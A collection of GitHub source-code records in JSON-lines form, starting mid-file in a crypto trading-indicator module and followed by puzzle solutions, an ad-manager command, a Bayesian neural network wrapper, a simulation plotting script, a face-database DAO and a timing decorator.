self._lookback:\n            return\n        if self._use_open:\n            prices = self.candle.open_prices(self._lookback)\n        else:\n            prices = self.candle.close_prices(self._lookback)\n        self.value = np.mean(prices)\n\n    def onTick(self, price, ts, volume, action):\n        raise NotImplementedError  # Not yet implemented\n\n\nclass WMA(CandleMetric):\n    def __init__(self, candle, lookback, use_open=True, weights=None):\n        super().__init__(candle)\n        self._use_open = use_open\n        self._lookback = lookback\n        self._weights = weights or [\n            2 * (i + 1) / (lookback * (lookback + 1)) for i in range(lookback)\n        ]\n\n    def onCandle(self):\n        if len(self.candle) < self._lookback:\n            return\n        if self._use_open:\n            prices = self.candle.open_prices(self._lookback)\n        else:\n            prices = self.candle.close_prices(self._lookback)\n        self.value = np.average(prices, axis=0, weights=self._weights)\n\n    def onTick(self, price, ts, volume, action):\n        raise NotImplementedError  # Not yet implemented\n\n\nclass EMA(CandleMetric):\n    def __init__(self, candle, lookback, use_open=True):\n        super().__init__(candle)\n        self._use_open = use_open\n        self._lookback = lookback\n        self._weight = 2 / (lookback + 1)\n\n    def onCandle(self):\n        price = self.candle.last_open if self._use_open else self.candle.last_close\n        if self.value == 0:\n            self.value = price\n        else:\n            self.value = price * self._weight + (1 - self._weight) * self.value\n\n    def onTick(self, price, ts, volume, action):\n        raise NotImplementedError  # Not yet implemented\n\n\nclass ATR(CandleMetric):\n    def __init__(self, candle, lookback, use_open=True):\n        super().__init__(candle)\n        self._use_open = use_open\n        self._lookback = lookback\n        self._init = []\n        self.value = 1000000000\n\n    def onCandle(self):\n        if len(self._init) < self._lookback + 1:\n            self._init.append(self.candle.last_high - self.candle.last_low)\n            self.value = sum(self._init) / len(self._init)\n        else:\n            t1 = self.candle[-2].high - self.candle[-2].low\n            t2 = abs(self.candle[-2].high - self.candle[-3].close)\n            t3 = abs(self.candle[-2].low - self.candle[-3].close)\n            tr = max(t1, t2, t3)\n            self.value = (self.value * (self._lookback - 1) + tr) / self._lookback\n\n    def onTick(self, price, ts, volume, action):\n        raise NotImplementedError  # Not yet implemented\n\n\nclass MACD(CandleMetric):\n    \"\"\"Calculate and store the latest MACD value for the attached candle.\n\n    The value of self.value (inherited from Metric) is set to be the difference\n    between the difference of two moving averages and the moving average of this\n    difference.\n\n    Value:\n        difference - MA of difference\n\n    Args:\n        fast (CandleMetric): Instance of moving average with shorter lookback.\n        slow (CandleMetric): Instance of moving average with longer lookback.\n        lookback (int): Number of bars to consider for the difference moving average.\n        weights (list): Weighting to average the MA difference. Defaults to linear.\n\n    Attributes:\n        diff (float):\n    \"\"\"\n\n    def __init__(self, fast, slow, lookback, weights=None):\n        assert fast.candle == slow.candle  # @Use proper error\n        super().__init__(fast.candle)\n        self._fast = fast\n        self._slow = slow\n        self._lookback = lookback\n        self._weights = weights or [\n            2 * (i + 1) / (lookback * (lookback + 1)) for i in range(lookback)\n        ]\n        self._past = []\n\n    def onCandle(self):\n        self.diff = self._fast - self._slow\n        self._past.append(self.diff)\n        self._past = self._past[-self._lookback :]\n        self.diff_ma = 0\n\n        if len(self._past) == self._lookback:\n            self.diff_ma = np.average(self._past, axis=0, weights=self._weights)\n            self.value = self.diff - self.diff_ma\n\n    def onTick(self, price, ts, volume, action):\n        raise NotImplementedError  # Not yet implemented\n\n\n# Review its role and duplication in metric/generic.py\nclass Difference(CandleMetric):\n    \"\"\"Difference.\n\n    This class computes a dictionary of lists of historic n-th differences.\n\n    This class supports differencing of multiple attributes of a class. In default settings, no\n    additional argument is needed. Only the 'value' attribute of the Metric class would be\n    differencd. For any additional attributes required differencing, the string of the required\n    attribute names should be parsed during the construction of this Difference class.\n\n    The class returns a dictionary of lists, with the key being the names of differenced attributes.\n    Resuls up to the specified lookback period would be stored and returned.\n\n    Value:\n        The last value of the n-th difference of the series\n\n    Args:\n        n         (int): The n-th order difference required.\n        lookback  (int): Number of results to be stored\n        *args     (str): Strings of names of attributes of the Metric parsed for differencing\n\n    Attributes:\n        output   (list): The n-th times difference of the required attributes (value + **kwargs)\n        value   (float): The latest value of output['value'][-1]\n    \"\"\"\n\n    def __init__(\n        self,\n        metric,\n        *args,\n        n=1,\n        lookback=4  # not yet implemented, 4 as default for future DIDO scaling\n    ):\n\n        super().__init__(metric.candle)\n        self._metric = metric\n        self._lookback = lookback\n        self._n = n\n        self._attrs = list(args)  # addtional string arguments to diff attributes\n        self._record = {\"value\": []}  # dictionary of lists storing raw attr values\n        self.output = {}  # dictonary of lists storing differenced attributes\n        self.value = 0\n\n        if len(self._attrs) > 0:\n            # create return values and indexing attribute to record\n            for attr in self._attrs:\n                self.__dict__[attr] = 0\n                self._record[attr] = []\n\n    def onCandle(self):\n        if len(self.candle) < self._n:\n            return\n        # append the updated attriute value to record\n        self._record[\"value\"].append(float(self._metric))\n        for attr in self._attrs:\n            self._record[attr].append(self._metric.__dict__[attr])\n        # differencing all record in self._records using np.diff method\n        for attr, record in self._record.items():\n            self.output[attr] = np.diff(record, self._n)\n        # assigning proper return values for access\n        if len(self.output[\"value\"]) > 0:\n            self.value = self.output[\"value\"][-1]\n            for attr in self._attrs:\n                self.__dict__[attr] = self.output[attr][-1]\n\n    def onTick(self):\n        raise NotImplementedError  # not yet implemented\n\n\nclass BollingerBand(CandleMetric):\n    \"\"\"Bollinger band.\n\n    Value:\n        Band percentage difference.\n\n    Args:\n        lookback (int): Number of bars to consider.\n        use_open (bool): Flag for using open/close price.\n        sd (float): Standard deviations. Can be override by upper_sd/lower_sd.\n        upper_sd (float): Upper band standard deviation.\n        lower_sd (float): Lower band standard deviation.\n\n    Attributes:\n        width: Volatility of recent candles.\n        upperband: Price at top of the bollinger band.\n        lowerband: Price at bottom of the bollinger band.\n        band: Percent difference between top and bottom band.\n    \"\"\"\n\n    def __init__(\n        self, candle, lookback, use_open=True, sd=2, upper_sd=None, lower_sd=None\n    ):\n\n        super().__init__(candle)\n        self._use_open = use_open\n        self._lookback = lookback\n        self._upper_sd = upper_sd or sd\n        self._lower_sd = lower_sd or sd\n\n    def onCandle(self):\n        if len(self.candle) < self._lookback:\n            return\n\n        if self._use_open:\n            prices = self.candle.open_prices(self._lookback)\n        else:\n            prices = self.candle.close_prices(self._lookback)\n\n        self.width = np.std(prices)\n        self.upperband = prices[-1] + self._upper_sd * self.width\n        self.lowerband = prices[-1] - self._lower_sd * self.width\n        self.band = ((self.upperband / self.lowerband) - 1) * 100\n        self.value = self.band\n\n    def onTick(self, price, ts, volume, action):\n        raise NotImplementedError  # Not yet implemented\n\n\nclass MABollinger(CandleMetric):\n    \"\"\"Moving average impose on bollinger band.\n\n    Args:\n        bband (BollingerBand): Underlying bollinger band\n        lookback (int): Lookback of the moving average\n        weights (list): Weighting for averaging. Defaults to None (simple average).\n    \"\"\"\n\n    def __init__(self, bband, lookback, use_open=True, weights=None):\n\n        super().__init__(bband.candle)\n        self._use_open = use_open\n        self._lookback = lookback\n        self._weights = weights\n        self._bband = bband\n        self._bands = []\n\n    def onCandle(self):\n        if self._bband == 0:\n            return\n\n        self._bands.append(self._bband.value)\n\n        if self._weights is None:\n            self.value = np.mean(self._bands[-self._lookback :])\n        else:\n            self.value = np.average(self._weights, axis=0, weights=self._weights)\n\n    def onTick(self, price, ts, volume, action):\n        raise NotImplementedError  # Not yet implemented\n\n\nclass RSI(CandleMetric):\n    \"\"\"Calculate and store the latest RSI value for the attached candle\"\"\"\n\n    def __init__(self, candle, lookback, use_open=True):\n        super().__init__(candle)\n        self._use_open = use_open\n        self._lookback = lookback\n        self._weight = 1 / lookback  # MODIFIED to suit our purpose\n        self.up = []\n        self.down = []\n        self.ema_up = None\n        self.ema_down = None\n\n    def onCandle(self):\n        if len(self.candle) < 2:\n            return\n\n        if self._use_open:\n            if self.candle.last_open > self.candle[-2].open:\n                self.up.append(abs(self.candle.last_open - self.candle[-2].open))\n                self.down.append(0)\n            else:\n                self.down.append(abs(self.candle[-2].open - self.candle.last_open))\n                self.up.append(0)\n        else:\n            if self.candle.last_close > self.candle[-2].close:\n                self.up.append(abs(self.candle.last_close - self.candle[-2].close))\n                self.down.append(0)\n            else:\n                self.down.append(abs(self.candle[-2].close - self.candle.last_close))\n                self.up.append(0)\n\n        if len(self.up) < self._lookback:\n            return\n\n        price_up = self.up[-1]\n        price_down = self.down[-1]\n\n        # Initialization of ema_up and ema_down by simple averaging the up/down lists\n        if self.ema_up == None and self.ema_down == None:\n            self.ema_up = sum([x for x in self.up]) / len(self.up)\n            self.ema_down = sum([x for x in self.down]) / len(self.down)\n\n            try:\n                self.value = 100 - 100 / (1 + self.ema_up / self.ema_down)\n            except ZeroDivisionError:\n                if self.ema_down == 0 and self.ema_up != 0:\n                    self.value = 100\n                elif self.ema_up == 0 and self.ema_down != 0:\n                    self.value = 0\n                elif self.ema_up == 0 and self.ema_down == 0:\n                    self.value = 50\n            return\n\n        # Update ema_up and ema_down according to logistic updating formula\n        self.ema_up = self._weight * price_up + (1 - self._weight) * self.ema_up\n        self.ema_down = self._weight * price_down + (1 - self._weight) * self.ema_down\n\n        # Handling edge cases and return the RSI index according to formula\n        try:\n            self.value = 100 - 100 / (1 + self.ema_up / self.ema_down)\n        except ZeroDivisionError:\n            if self.ema_down == 0 and self.ema_up != 0:\n                self.value = 100\n            elif self.ema_up == 0 and self.ema_down != 0:\n                self.value = 0\n            elif self.ema_up == 0 and self.ema_down == 0:\n                self.value = 50\n\n    def onTick(self, price, ts, volume, action):\n        raise NotImplementedError  # Not yet implemented\n","repo_name":"bridgelancer/cryptle_fork","sub_path":"cryptle/metric/candle.py","file_name":"candle.py","file_ext":"py","file_size_in_byte":19565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31603932410","text":"import os\nfrom queue import PriorityQueue\n\nimport numpy as np\n\nINPUT_PATH = os.path.join(os.path.dirname(__file__), '../../Inputs', 'day15.txt')\n\n\ndef extend_array(arr: np.ndarray, n: int):\n    rows, cols = arr.shape\n    new_rows, new_cols = rows * n, cols * n\n    new_arr = np.zeros((new_rows, new_cols), arr.dtype)\n    new_arr[:rows, :cols] = arr\n    for r in range(rows, new_rows, rows):\n        chunk = new_arr[r - rows:r, :cols] + 1\n        chunk[chunk > 9] = 1\n        new_arr[r:r + rows, :cols] = chunk\n    for r in range(0, new_rows, rows):\n        for c in range(cols, new_cols, cols):\n            chunk = new_arr[r:r + rows, c - cols:c] + 1\n            chunk[chunk > 9] = 1\n            new_arr[r:r + rows, c:c + cols] = chunk\n    return new_arr\n\n\ndef find_lowest_path(arr: np.ndarray):\n    diffs = (0, 1), (1, 0), (0, -1), (-1, 0)\n    max_val = 10 * arr.size\n    cache = np.ones(arr.shape, dtype=np.int64) * max_val\n    cache[0, 0] = 0\n    q = PriorityQueue()\n    q.put(QueueItem((0, 0)))\n    while not q.empty():\n        row, col = q.get().value\n        for d_row, d_col in diffs:\n            new_row, new_col = row + d_row, col + d_col\n            if new_row < 0 or new_col < 0 or new_row >= arr.shape[0] or new_col >= arr.shape[1]:\n                continue\n            val = cache[row, col] + arr[new_row, new_col]\n            if val < cache[new_row, new_col]:\n                cache[new_row, new_col] = val\n                q.put(QueueItem((new_row, new_col), priority=val))\n    return cache[-1, -1]\n\n\nclass QueueItem:\n    def __init__(self, value, priority=0):\n        self.value = value\n        self.priority = priority\n\n    def __lt__(self, other):\n        return self.priority < other.priority\n\n\nclass Day15:\n    def __init__(self):\n        self.inputs = np.genfromtxt(INPUT_PATH, dtype=np.int64, delimiter=1)\n\n    def solve1(self):\n        return find_lowest_path(self.inputs)\n\n    def solve2(self):\n        full_map = extend_array(self.inputs, 5)\n        return find_lowest_path(full_map)\n\n\ndef main():\n    x = Day15()\n    print(x.solve1())\n    print(x.solve2())\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"matusmrazik/AdventOfCode2021","sub_path":"AOC_PY/days/day15.py","file_name":"day15.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43331980020","text":"Q, M, S, L = [int(x) for x in input().split()]\n\ntime = 0\n\n# fill in Q's\ntime += L // M * Q\n\n# remaining Q's\nremain = L % M\nif remain > 0: time += Q\n\n# fill in 1's\nif remain > 0: S -= (M - remain) * Q \n\n# remaining 1's\nif S > 0: time += (S+M-1) // M\n\nprint(time)\n\n","repo_name":"Tetragonal/kattis-solutions","sub_path":"solved/0-3/smallschedule.py","file_name":"smallschedule.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9420274489","text":"import datetime\n\n# Import the library.\nfrom ...decorators.override_method import override_method\nfrom ...abstraction.commands.base_command import BaseCommand\n\nclass ExecuteCommand(BaseCommand):\n    # pause or resume line items\n    def __execute_pause_or_resume(self, line_item_ids, action_type):\n        service = self.get_ad_manager_service('LineItemService')\n\n         # Build statement\n        statement = (self.get_ad_manager_statement_builder()\n                .Where('id IN (:line_item_ids) AND status IN (:statuses)')\n                .OrderBy('id', ascending=True)\n                .WithBindVariable('line_item_ids', line_item_ids)\n                .WithBindVariable('statuses', [\"PAUSED\", \"READY\"]))\n        \n        result_set_size = 0\n        should_continue = True\n        line_items_modified = 0\n\n        # Iterate over paged results from the statement.\n        while should_continue:\n            page = service.getLineItemsByStatement(statement.ToStatement())\n            if 'results' in page and len(page['results']):\n                result_set_size = page['totalResultSetSize']\n\n            # Update statement for next page.\n            statement.offset += statement.limit\n            should_continue = statement.offset < result_set_size\n        \n        if result_set_size > 0:\n            statement.offset = None\n            statement.limit = None\n\n            action_options = { 'xsi_type': \"PauseLineItems\"}\n\n            if(action_type == \"resume\"):\n                action_options['xsi_type'] = \"ResumeAndOverbookLineItems\"\n                action_options['skipInventoryCheck'] = True\n\n            # Get lineitems by statement.\n            result = service.performLineItemAction(action_options, statement.ToStatement())\n\n            # Sum modified lineitems count\n            if result and int(result['numChanges']) > 0:\n                line_items_modified += int(result['numChanges'])\n        \n        return line_items_modified\n\n    # start execution\n    @override_method\n    def start_execution(self):\n        # Get order ids\n        line_item_ids = self.get_argument(\"lineItemIds\")\n        action_type = self.get_argument(\"action\")\n\n        # paused or resumed lineitmes\n        count = self.__execute_pause_or_resume(line_item_ids, action_type)\n\n        # Positive result\n        result = {\"status\" : \"success\", \"result\": count}\n\n        # Negative result.\n        if count == 0:\n            result[\"status\"] = \"failed\"\n\n        return result\n","repo_name":"Edo777/google-ad-manager-sdk","sub_path":"sdks/google/api-steps-backend/src/api-sdk/lib/python/lib/commands/lineitem/pause-resume.py","file_name":"pause-resume.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29346446799","text":"rut = input(\"Ingrese el número de RUT (sin dígito verificador): \")\n\n# Verificar que el RUT sea válido\nif not rut.isdigit() or len(rut) < 1:\n    print(\"RUT inválido\")\nelse:\n    # Calcular el dígito verificador\n    suma = 0\n    multiplicador = 2\n    for i in range(len(rut)-1, -1, -1):\n        suma += int(rut[i]) * multiplicador\n        multiplicador += 1\n        if multiplicador > 7:\n            multiplicador = 2\n    \n    resto = suma % 11\n    dv = 11 - resto\n    \n    # Manejar casos especiales\n    if dv == 11:\n        dv = \"0\"\n    elif dv == 10:\n        dv = \"K\"\n    else:\n        dv = str(dv)\n    \n    print(\"dv=\" + dv)\n","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej5/hito1_ej5_d45116c773c29c0fa24584fb4864624a.py","file_name":"hito1_ej5_d45116c773c29c0fa24584fb4864624a.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"13626756491","text":"import numpy as np\nfrom .bnn_engine import BNN_engine, default_hp\nfrom src.config import get_multi_sampler\n\nfrom sklearn.model_selection import train_test_split\n\n\nclass BNN:\n\n    def __init__(self):\n\n        self.hp = default_hp()\n\n    def fit(self, X, y):\n\n        X = X.astype(float)\n\n        X_train, X_test, y_train, y_test = train_test_split(X, y, \n            test_size=0.2, random_state=83)\n\n\n        self.hp.batch_size = int(X_train.shape[0] / 10) + 1 \n        self.hp.kld_beta = 2.0\n        self.model = BNN_engine.from_hparams(self.hp)\n        self.model.train(X_train, y_train, X_test, y_test, \n            self.hp, verbose=True)\n\n    \n    def sample_pred(self, X, n_pred=10):\n        return self.model.predict(X, n_pred)\n\n    def predict(self, X):\n        pred_samples = self.sample_pred(X)\n        return np.mean(pred_samples, axis=1)\n\n    def pred_dist(self, X):\n        X = X.astype(float)\n        pred_samples = self.sample_pred(X)\n        samplers = get_multi_sampler(pred_samples)\n\n        return samplers\n\n         \n\n","repo_name":"roinaveiro/sbbo","sub_path":"src/models/bnn/bnn.py","file_name":"bnn.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36454467778","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom typing import List\n\nplt.rcParams.update({\"font.size\": 10})\nfrom matplotlib import rc\n\nrc(\"font\", **{\"family\": \"sans-serif\", \"sans-serif\": [\"Helvetica\"]})\nrc(\"text\", usetex=True)\n\nfrom pydrake.math import RollPitchYaw\nfrom pydrake.trajectories import PiecewisePolynomial\nfrom pydrake.common.eigen_geometry import Quaternion, AngleAxis\n\n#%%\n# time_steps = [0.001, 0.01, 0.1, 0.2, 0.4]\ntime_steps = [1e-4, 0.001, 0.01, 0.1, 0.4]\n\nn_quasistatic = len(time_steps)\n# Load q_cube0\nfile_names = [\"cube0_10cube_q_h{}.npy\".format(a) for a in time_steps]\n\n# MBP\ntime_steps_mbp = [\n    5e-4,\n    1e-3,\n    1e-4,\n    0.001085,\n    0.001086,\n    0.001087,\n    0.001088,\n    5e-5,\n]\nfor time_step in time_steps_mbp:\n    file_names.append(\"cube0_10cube_q_mbp_h{}.npy\".format(time_step))\nq_u0_logs = [np.load(file_name) for file_name in file_names]\n\n# load q_iiwa\nfile_names = [\"qa_10cube_q_h{}.npy\".format(a) for a in time_steps]\n# MBP\nfor time_step in time_steps_mbp:\n    file_names.append(\"qa_10cube_q_mbp_h{}.npy\".format(time_step))\nqa_logs = [np.load(file_name) for file_name in file_names]\n\ntime_steps_real = time_steps + time_steps_mbp\ntime_steps += [1e-2] * len(time_steps_mbp)\n\n\ndef get_angle_from_quaternion(q: np.array):\n    q /= np.linalg.norm(q)\n    a = AngleAxis(Quaternion(q))\n    return a.angle()\n\n\ndef get_roll_from_quaternion(q: np.array):\n    q /= np.linalg.norm(q)\n    rpy = RollPitchYaw(Quaternion(q))\n    return rpy.roll_angle()\n\n\nt_list = []\nfor i, dt in enumerate(time_steps):\n    t_list.append(np.arange(len(q_u0_logs[i])) * time_steps[i])\n\n\n# compute integral error\ndef compute_error_integral(q_logs: List[np.array]):\n    # converting trajectories to PiecewisePolynomials\n    q_traj_list = []\n    for i, dt in enumerate(time_steps):\n        t = t_list[i]\n        q_traj_list.append(PiecewisePolynomial.FirstOrderHold(t, q_logs[i].T))\n\n    q_traj_gt = q_traj_list[-1]\n    e_integral_list = []\n    e_list = []\n    for i, dt in enumerate(time_steps[:-1]):\n        n_steps = len(q_logs[i])\n        e_integral = np.zeros(n_steps)\n        e = np.zeros(n_steps)\n        for j in range(1, len(q_logs[i])):\n            dq = q_traj_gt.value(j * dt).squeeze() - q_logs[i][j]\n            e[j] = np.linalg.norm(dq)\n            e_integral[j] = e_integral[j - 1] + dt * e[j]\n\n        e_integral_list.append(e_integral)\n        e_list.append(e)\n\n    return e_integral_list, e_list\n\n\ndef get_label(i):\n    if i >= n_quasistatic:\n        label = r\"MBP{}\".format(time_steps_real[i])\n    else:\n        label = r\"$h$={}s\".format(dt)\n    return label\n\n\n#%% plot integral error\ne_cube_integral_list, e_cube_list = compute_error_integral(q_u0_logs)\nfor i, dt in enumerate(time_steps[:-1]):\n    label = get_label(i)\n    plt.plot(t_list[i], e_cube_integral_list[i], label=label)\nplt.ylabel(r\"$\\int \\|q_u(t) - q_{u, GT}(t)\\| dt$\")\nplt.xlabel(r\"t [s]\")\nplt.legend()\nplt.show()\n\n#%%\ne_a_integral_list, e_a_list = compute_error_integral(qa_logs)\nfor i, dt in enumerate(time_steps[:-1]):\n    label = get_label(i)\n    plt.plot(t_list[i], e_a_integral_list[i], label=label)\n\nplt.ylabel(r\"$\\int \\|q_a(t) - q_{a, GT}(t)\\| dt$\")\nplt.xlabel(r\"t [s]\")\nplt.legend()\nplt.show()\n\n\n#%% error as a function of time step\nplt.figure(figsize=(6, 2.5))\ne_cube_integral_final = [\n    a[-1] for a, b in zip(e_cube_integral_list, e_a_integral_list)\n]\nplt.grid(True)\nplt.scatter(\n    time_steps_real[:n_quasistatic],\n    e_cube_integral_final[:n_quasistatic],\n    label=\"Quasistatic\",\n)\nplt.scatter(\n    time_steps_real[n_quasistatic:-1],\n    e_cube_integral_final[n_quasistatic:],\n    label=\"MBP\",\n)\n\nplt.xscale(\"log\")\nplt.yscale(\"log\")\nplt.legend()\nplt.xlabel(r\"$h$ [s]\")\nplt.ylabel(r\"$\\int \\|q_u(t) - q_{u, GT}(t)\\| dt$\")\nplt.tight_layout()\nplt.savefig(\"error_vs_time_step.pdf\", bbox_inches=\"tight\", pad_inches=0.01)\nplt.show()\n\n\n#%%  Position of cube\nfig, axes = plt.subplots(4, 1, figsize=(5, 6.2), dpi=200)\n\ny_labels = [r\"$x$ [m]\", r\"$y$ [m]\", r\"$z$ [m]\", r\"angle [rad]\", r\"roll [rad]\"]\n\nfor i, dt in enumerate(time_steps):\n    if i >= n_quasistatic:\n        if i == len(time_steps) - 1:\n            # label = r\"MBP{}s\".format(time_steps_real[i])\n            label = \"GT\"\n        else:\n            continue\n    else:\n        label = r\"$h$={}s\".format(dt)\n\n    t = np.arange(len(q_u0_logs[i])) * time_steps[i]\n    angles = [get_angle_from_quaternion(qu[:4].copy()) for qu in q_u0_logs[i]]\n    roll_angles = [\n        get_roll_from_quaternion(qu[:4].copy()) for qu in q_u0_logs[i]\n    ]\n    for j, ax in enumerate(axes):\n        if j == 3:\n            ax.plot(t, angles, label=label)\n        elif j == 4:\n            ax.plot(t, roll_angles, label=label)\n        else:\n            ax.plot(t, q_u0_logs[i][:, j + 4], label=label)\n\n\nfor i, ax in enumerate(axes):\n    ax.set_ylabel(y_labels[i])\n    ax.set_axisbelow(True)\n    ax.grid(True)\n    if i < len(axes) - 1:\n        plt.setp(ax.get_xticklabels(), visible=False)\naxes[-1].set_xlabel(\"t [s]\")\naxes[2].legend(loc=\"lower right\", ncol=2)\nplt.tight_layout()\nplt.savefig(\"cube_pose.pdf\", bbox_inches=\"tight\", pad_inches=0.01)\nplt.show()\n","repo_name":"pangtao22/quasistatic_simulator","sub_path":"qsim/examples/iiwa_block_stacking/plot_time_step_comparisons.py","file_name":"plot_time_step_comparisons.py","file_ext":"py","file_size_in_byte":5102,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"77"}
+{"seq_id":"4294845323","text":"'''\nAndy LOVES coffee, he's totally addicted. Unfortunately he drinks too much so the doctor has advised he only drinks 6 espresso shots a day.\nAndy only drinks one type of coffee a day, and each have the following number of espresso shots in them:\n\nespresso = 1 shot\ndouble espresso = 2 shots\nflat white = 2 shots\nlatte = 1 shot\nmocha = 2 shots\ndecaf = 0 shot\n\nChallenge:\nCreate a function that returns the following:\nIf Andy has consumed no shots return \"You haven't even had coffee today!\"\nIf Andy has had less than 4 shots return \"The doctor won't be worried yet!\"\nIf Andy has had 4 shots return \"You can have 2 more shots then no more!\"\nIf Andy has had 5 shots return \"You can only have an espresso, latte or a decaf now\"\nIf Andy has had 6 or more shots return \"Only decaf for you now!\"\n\n'''\n\ndef caffeine(coffee, number):\n    d = {'espresso': 1, 'double espresso': 2, 'flat white': 2, 'latte': 1, 'mocha': 2, 'decaf': 0}\n    cof = d[coffee]*number\n    if cof == 0:\n        return \"You haven't even had coffee today!\"\n    elif cof < 4:\n        return \"The doctor won't be worried yet!\"\n    elif cof == 4:\n        return \"You can have 2 more shots then no more!\"\n    elif cof == 5:\n        return \"You can only have an espresso, latte or a decaf now\"\n    elif cof >= 6:\n        return \"Only decaf for you now!\"\n\n\n\n\n\n# print(caffeine(\"latte\", 5))\n# assert (caffeine(\"latte\", 0) == \"You haven't even had coffee today!\")\n# assert (caffeine(\"decaf\", 25) == \"You haven't even had coffee today!\")\n# assert (caffeine(\"espresso\", 6) == \"Only decaf for you now!\")\n# assert (caffeine(\"mocha\", 1) == \"The doctor won't be worried yet!\")","repo_name":"ekolodenets/py_study","sub_path":"codewars/caffeine.py","file_name":"caffeine.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15383358835","text":"# coding= utf-8\nfrom config.db import db\nfrom config.enum import FaceStatus\nfrom model.face import Face\nfrom config.config import PAGE_LIMIT\nfrom util.face_auth_utils import Singleton\nfrom sqlalchemy import func\n\n\nclass FaceDao(object):\n    __metaclass__ = Singleton\n\n    @staticmethod\n    def insert(user):\n        db.session.add(user)\n        db.session.flush([user])\n\n    @staticmethod\n    def get_by_user_id_and_face_name(user_id, face_name):\n        return Face.query.filter(Face.user_id == user_id, Face.face_name == face_name, Face.status != FaceStatus.FORBID) \\\n            .first()\n\n    @staticmethod\n    def get_face_by_user_id(user_id, page, query_filters):\n        filters = [Face.user_id == user_id]\n        face_name = query_filters.get('face_name')\n        face_class = query_filters.get('stu_class')\n        status = query_filters.get('status')\n        if face_name:\n            filters.append(Face.face_name == face_name)\n        if face_class:\n            filters.append(Face.face_class == face_class)\n        if status:\n            filters.append(Face.status == status)\n        else:\n            filters.append(Face.status != FaceStatus.FORBID)\n        faces = Face.query.filter(*filters).all()\n        total = len(faces)\n        return Face.query.filter(*filters).limit(PAGE_LIMIT).offset((page - 1) * PAGE_LIMIT).all(), total\n\n    @staticmethod\n    def get_face_by_face_id(face_id):\n        return Face.query.filter(Face.id == face_id, Face.status != FaceStatus.FORBID).first()\n\n    @staticmethod\n    def get_by_class_user_id(stu_class, user_id, status):\n        \"\"\"\n        根据stu_class, user_id获取未签到的人\n        :param status:\n        :param stu_class:\n        :param user_id:\n        :return:\n        \"\"\"\n        return Face.query.filter(Face.user_id == user_id, Face.face_class == stu_class,\n                                 Face.status == status).all()\n\n    @staticmethod\n    def get_by_class_user_id2(stu_class, user_id, oepn_check):\n        return Face.query.filter(Face.user_id == user_id, Face.face_class == stu_class,\n                                 Face.open_check == oepn_check).all()\n\n    @staticmethod\n    def get_class_by_user_id(user_id):\n        return Face.query.filter(Face.user_id == user_id, Face.status != FaceStatus.FORBID) \\\n            .with_entities(Face.face_class, Face.open_check).all()\n","repo_name":"jiangshipan/face_auth","sub_path":"dao/face_dao.py","file_name":"face_dao.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"25973063052","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on 2017/9/30\r\n@author: MG\r\n\"\"\"\r\n\r\nimport time\r\nimport functools\r\nDEFAULT_FMT = '[{elapsed:0.8f}s] {name}({args}) -> {result}'\r\n\r\n\r\ndef clock(func):\r\n    @functools.wraps(func)\r\n    def clocked(*args, **kwargs):\r\n        t0 = time.time()\r\n        result = func(*args, **kwargs)\r\n        elapsed = time.time() - t0\r\n        name = func.__name__\r\n        arg_lst = []\r\n        if args:\r\n            arg_lst.append(', '.join(repr(arg) for arg in args))\r\n        if kwargs:\r\n            pairs = ['%s=%r' % (k, w) for k, w in sorted(kwargs.items())]\r\n            arg_lst.append(', '.join(pairs))\r\n        arg_str = ', '.join(arg_lst)\r\n        print('[%0.8fs] %s(%s) -> %r ' % (elapsed, name, arg_str, result))\r\n        return result\r\n    return clocked\r\n\r\n\r\ndef Clocker(fmt=DEFAULT_FMT):\r\n    def decorate(func):\r\n        name = func.__name__\r\n        print('init clock for %s' % name)\r\n        elapsed = 0\r\n\r\n        @functools.wraps(func)\r\n        def clocked(*args, **kwargs):\r\n            nonlocal elapsed, name\r\n            t0 = time.time()\r\n            result = func(*args, **kwargs)\r\n            elapsed += time.time() - t0\r\n            arg_lst = []\r\n            if args:\r\n                arg_lst.append(', '.join(repr(arg) for arg in args))\r\n            if kwargs:\r\n                pairs = ['%s=%r' % (k, w) for k, w in sorted(kwargs.items())]\r\n                arg_lst.append(', '.join(pairs))\r\n            arg_str = ', '.join(arg_lst)\r\n            # print('[%0.8fs] %s(%s) -> %r ' % (elapsed, name, arg_str, result))\r\n            print(fmt.format(**locals()))\r\n            return result\r\n\r\n        return clocked\r\n    return decorate\r\n","repo_name":"mmmaaaggg/RefUtils","sub_path":"src/fh_tools/language_test/functools_test/clockdeco2.py","file_name":"clockdeco2.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
